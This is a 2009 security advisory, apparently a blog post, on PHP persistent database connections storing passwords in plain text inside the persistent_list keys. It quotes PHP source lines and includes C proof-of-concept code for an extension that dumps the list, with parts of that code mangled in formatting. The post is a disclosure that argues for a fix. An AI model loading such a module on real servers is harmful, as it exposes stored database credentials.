Is storing password in clear text inside a hash is a vulnerability or not ? To me, yes it’s a unsecure design bug and it should be fixed. But others think that untrusted binary extension shouldn’t run anyways and if a bad guys inject a rogue extensions, it’s already game over. So… here it’s. Persistent database password dump proof of concept.
Advisory: Persistent password accessible by rogue extensions
Release Date: 2009/11/17
Last Modified: 2009/11/17
Author: Francois Harvey (contact at francoisharvey dot ca)
Application: PHP4, PHP5, PHP-DEV
Severity: Persistent password can be disclosed
Risk: Low ( you need to inject binary code anyways…)
Vendor Status: notified 12 november 2009
Overview:PHP is a widely-used general-purpose scripting language that is especially suited for Web development. PHP allow persistent database connnection.
Details: When persistent database connection is used, PHP stores the needed details in a persistent list. This list is not « hashed » and information is stored in plain text. For sample here are some hashed details for well known db engine :
./ext/msql/php_msql.c: hashed_details_length = spprintf(&hashed_details, 0, "msql_%s",Z_STRVAL_P(yyhost));
./ext/odbc/php_odbc.c: hashed_len = spprintf(&hashed_details, 0, "%s_%s_%s_%s_%d", ODBC_TYPE, db, uid, pwd, cur_opt);
./ext/mssql/php_mssql.c: hashed_details_length = spprintf(&hashed_details,0,"mssql_%s_%s_%s",Z_STRVAL_PP(yyhost),Z_STRVAL_PP(yyuser),Z_STRVAL_PP(yypasswd));
./ext/mysql/php_mysql.c: hashed_details_length = spprintf(&hashed_details, 0, "mysql_%s_%s_%s_%ld", SAFE_STRING(host_and_port), SAFE_STRING(user), SAFE_STRING(passwd), client_flags);
So the passwords are embedded within the clear text hash… It’s possible to code a php module that will access the persistent_list and dump the clear text hash.
Exploit Code:
// POC - Show Persistent List - (C) Francois Harvey #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "php.h" #include "zend_globals.h" #include "php_persistent.h" static function_entry persistent_functions[] = { PHP_FE(show_persistent, NULL) {NULL, NULL, NULL} }; zend_module_entry persistent_module_entry = { #if ZEND_MODULE_API_NO >= 20010901 STANDARD_MODULE_HEADER, #endif PHP_PERSISTENT_EXTNAME, persistent_functions, NULL, NULL, NULL, NULL, NULL, #if ZEND_MODULE_API_NO >= 20010901 PHP_PERSISTENT_VERSION, #endif STANDARD_MODULE_PROPERTIES }; //#ifdef COMPILE_DL_PERSISTENT ZEND_GET_MODULE(persistent) //#endif PHP_FUNCTION(show_persistent) { php_printf("------------------------------n"); php_printf(" Current Peristent List PoC n"); php_printf(" (C) 2009 Francois Harvey n"); php_printf(" http://francoisharvey.ca n"); php_printf("------------------------------n"); Bucket *p; uint i; HashTable *pl = &EG(persistent_list); for (i = 0; i nTableSize; i++) { p = pl->arBuckets[i]; while (p != NULL) { php_printf("%d : %sn", i, p->arKey); p = p->pNext; } } php_printf("---------------------------n"); RETURN_STRING("", 1); }
This PoC coded and loaded as a module will dump the persistent list when used (module should be loaded first with dl() or php.ini) in php as
show_persistent();
Mitigation: Module inclusion in runtime is currently possible but more limited than from the past and from 5.2.5 needs to be stored in a specific folder. Limiting the scope of this attack.
Solution:The quick answer is : no persistent connect or dont run untrusted extensions. But the real one is to hash (md5 or sha1) before stored inside the persistent_list (and not strcat the password…), but this patch should be applied to each individual extensions.